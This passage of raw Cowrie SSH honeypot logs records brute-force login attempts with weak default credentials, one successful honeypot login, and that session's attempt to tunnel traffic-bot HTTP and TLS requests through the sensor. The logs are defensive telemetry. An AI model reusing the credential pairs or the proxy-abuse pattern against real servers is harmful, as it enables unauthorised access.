16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:33.415716Z","src_ip":"91.92.40.36","session":"33e61639545f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"654321","message":"login attempt [developer/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:35.097635Z","src_ip":"91.92.40.36","session":"33e61639545f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:35.654065Z","src_ip":"91.92.40.36","session":"52ebdacbe53e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:36.658127Z","src_ip":"91.92.40.36","session":"33e61639545f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27454,"dst_ip":"159.203.135.109","dst_port":22,"session":"7468e84b452b","protocol":"ssh","message":"New connection: 91.92.40.36:27454 (159.203.135.109:22) [session: 7468e84b452b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:40.749395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:40.884199Z","src_ip":"91.92.40.36","session":"7468e84b452b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:40.887438Z","src_ip":"91.92.40.36","session":"7468e84b452b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker12","message":"login attempt [docker/docker12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:42.042458Z","src_ip":"91.92.40.36","session":"7468e84b452b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:43.401673Z","src_ip":"91.92.40.36","session":"7468e84b452b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49682,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaf3172efc70","protocol":"ssh","message":"New connection: 91.92.40.36:49682 (159.203.135.109:22) [session: eaf3172efc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:47.366993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:48.043546Z","src_ip":"91.92.40.36","session":"eaf3172efc70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:48.047809Z","src_ip":"91.92.40.36","session":"eaf3172efc70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password1234","message":"login attempt [ubuntu/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:51.013437Z","src_ip":"91.92.40.36","session":"eaf3172efc70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:52.658847Z","src_ip":"91.92.40.36","session":"eaf3172efc70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58690,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5fca5b32ece","protocol":"ssh","message":"New connection: 123.27.168.40:58690 (10.17.0.5:22) [session: d5fca5b32ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:54.234610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:54.238820Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:54.470556Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49736,"dst_ip":"159.203.135.109","dst_port":22,"session":"172e98cc297f","protocol":"ssh","message":"New connection: 91.92.40.36:49736 (159.203.135.109:22) [session: 172e98cc297f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:55.096407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:55.533371Z","src_ip":"91.92.40.36","session":"172e98cc297f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:55.539181Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:55.548070Z","src_ip":"91.92.40.36","session":"172e98cc297f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:55.942157Z","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:56.019324Z","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:56.456808Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; Y37) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VExhaCRJRjBJOEdPbEIlNQ%3D%3D66QercOQE5w9iBdxUkvFzriaJds%2FIpwWVe5hUNuWU9WNMAP0GmCOxc10U3NJYhJfEx%2BsX5y85vDE32Xm1rQMFNMiAY17A92RuEzjwEG%2FSyIE9rUaCj3BNKCJiAF4pbr6IIRnWZumIhy0gGUFUCveguY3CMxTcAurgCTTGGZDyip%2FElfFeWjazS34r5C4tySfwc3Det4vIywz4ocDSYjiOM9uKOtkAyOr6W8u4G7QvEcTpWxv%2BACBWlmtFXK8dqDO0p59rIQ8BmgEOz8iGOj9eF5I%2Bs5S3%2BuV2fXxDanKubrHxedJwDiUsECz%2FIGa06YMpGlqijvyWL0uq156%2B9WaAz%2BbMMrIssU8LR3dld82V%2BzZTrvxsrIzkHH0cfcv7FKwqP%2BOxPzWSkZCHutxh%2B3KDOjZUONnIv9wo62qR0PKjuXxMRt64uCXMOf0Ep239Nwr12LfoK9%2FEM7PJ9KU8uM3mOe0Rp7v7egaFTM%2Fc8ujobH8K3pfoq728Tf6DL3oIifngEF7GS3A0Yl2q3Ru5LTqXoOX2FiW9ZAia6tLOfj%2Bp308mlsZOc9mBQrB05dSbgaHgFWvCa9aIKeZWPqm1O9OwxyXUOKhkLU3%2BPCfwubY%2FZogQ36mO31%2FGlRec9JmhRkQbApkrv5%2FNlJYNxwmodSEjtJL48ZUEXIDRzM%2BoFX%2Ffv6swSqRYuuMorOudJhrInxu4ik22GUS1frnfNsyvEccY6SbkgKTp8bwMA3dfg8jx912I5elylsAMbv48uQAwd16gpascSjC6%2FD6o8n9FTdCydc7LpK6Nhg7OdyU4xNpm2v%2FfTBxsUzfeJq9j6d0oRQUqEZj%2Fy6ulvndgbWXFrBPikykiwGAuKBQcJBDSvWVhdUP%2F8EsDnb5VuamygSsO0XY3c%2BWoN0gIufCZumQjJjLopwMU6r3gyk4UeR5tYQGsKbVlBoAX0OJly2oKjgH0v5LdYB5hTFovgCzPdo1QEuJxkD6VH0w8pUcS9RWY8xUZYuACKDlm4XHnZFuJerWnQ82sWfY%2BdFQ6yczdIQWnB5GAVkG0j5Rjnftqnua8jIyPhrNy42WjuBgdNQeSRgpPOSX'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.0.2; Y37) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VExhaCRJRjBJOEdPbEIlNQ%3D%3D66QercOQE5w9iBdxUkvFzriaJds%2FIpwWVe5hUNuWU9WNMAP0GmCOxc10U3NJYhJfEx%2BsX5y85vDE32Xm1rQMFNMiAY17A92RuEzjwEG%2FSyIE9rUaCj3BNKCJiAF4pbr6IIRnWZumIhy0gGUFUCveguY3CMxTcAurgCTTGGZDyip%2FElfFeWjazS34r5C4tySfwc3Det4vIywz4ocDSYjiOM9uKOtkAyOr6W8u4G7QvEcTpWxv%2BACBWlmtFXK8dqDO0p59rIQ8BmgEOz8iGOj9eF5I%2Bs5S3%2BuV2fXxDanKubrHxedJwDiUsECz%2FIGa06YMpGlqijvyWL0uq156%2B9WaAz%2BbMMrIssU8LR3dld82V%2BzZTrvxsrIzkHH0cfcv7FKwqP%2BOxPzWSkZCHutxh%2B3KDOjZUONnIv9wo62qR0PKjuXxMRt64uCXMOf0Ep239Nwr12LfoK9%2FEM7PJ9KU8uM3mOe0Rp7v7egaFTM%2Fc8ujobH8K3pfoq728Tf6DL3oIifngEF7GS3A0Yl2q3Ru5LTqXoOX2FiW9ZAia6tLOfj%2Bp308mlsZOc9mBQrB05dSbgaHgFWvCa9aIKeZWPqm1O9OwxyXUOKhkLU3%2BPCfwubY%2FZogQ36mO31%2FGlRec9JmhRkQbApkrv5%2FNlJYNxwmodSEjtJL48ZUEXIDRzM%2BoFX%2Ffv6swSqRYuuMorOudJhrInxu4ik22GUS1frnfNsyvEccY6SbkgKTp8bwMA3dfg8jx912I5elylsAMbv48uQAwd16gpascSjC6%2FD6o8n9FTdCydc7LpK6Nhg7OdyU4xNpm2v%2FfTBxsUzfeJq9j6d0oRQUqEZj%2Fy6ulvndgbWXFrBPikykiwGAuKBQcJBDSvWVhdUP%2F8EsDnb5VuamygSsO0XY3c%2BWoN0gIufCZumQjJjLopwMU6r3gyk4UeR5tYQGsKbVlBoAX0OJly2oKjgH0v5LdYB5hTFovgCzPdo1QEuJxkD6VH0w8pUcS9RWY8xUZYuACKDlm4XHnZFuJerWnQ82sWfY%2BdFQ6yczdIQWnB5GAVkG0j5Rjnftqnua8jIyPhrNy42WjuBgdNQeSRgpPOSX'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:56.459690Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:56.462982Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\x0f\\xe4\\xea;coG_Q\\xc8\\x81,r\\xfbQ\\x94\\xddI\\x85\\xe1dL\\xdeN\\xa8nI\\xc3\\xc8:U \\x9a\\xd7\\xe7W\\x85\\xe0\\x1fq_\"\\x05\\xbaCe\\xe4\\x9ed\\x11\\x0e\\x15\\xba\\xc0\\x8a\\xd7\\x18\\x0b\\xf1\\xca$\\xab\\x9dZ\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 l\\xa6[U\\xe3\\x03\\x9c\\xb0\\xf8\\xbc\\x08\\xfeZ6\\xea\\xdd\\xf6w\\x84B3W\\x80\\x17>Q!e6q\\x00|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\x0f\\xe4\\xea;coG_Q\\xc8\\x81,r\\xfbQ\\x94\\xddI\\x85\\xe1dL\\xdeN\\xa8nI\\xc3\\xc8:U \\x9a\\xd7\\xe7W\\x85\\xe0\\x1fq_\"\\x05\\xbaCe\\xe4\\x9ed\\x11\\x0e\\x15\\xba\\xc0\\x8a\\xd7\\x18\\x0b\\xf1\\xca$\\xab\\x9dZ\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 l\\xa6[U\\xe3\\x03\\x9c\\xb0\\xf8\\xbc\\x08\\xfeZ6\\xea\\xdd\\xf6w\\x84B3W\\x80\\x17>Q!e6q\\x00|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-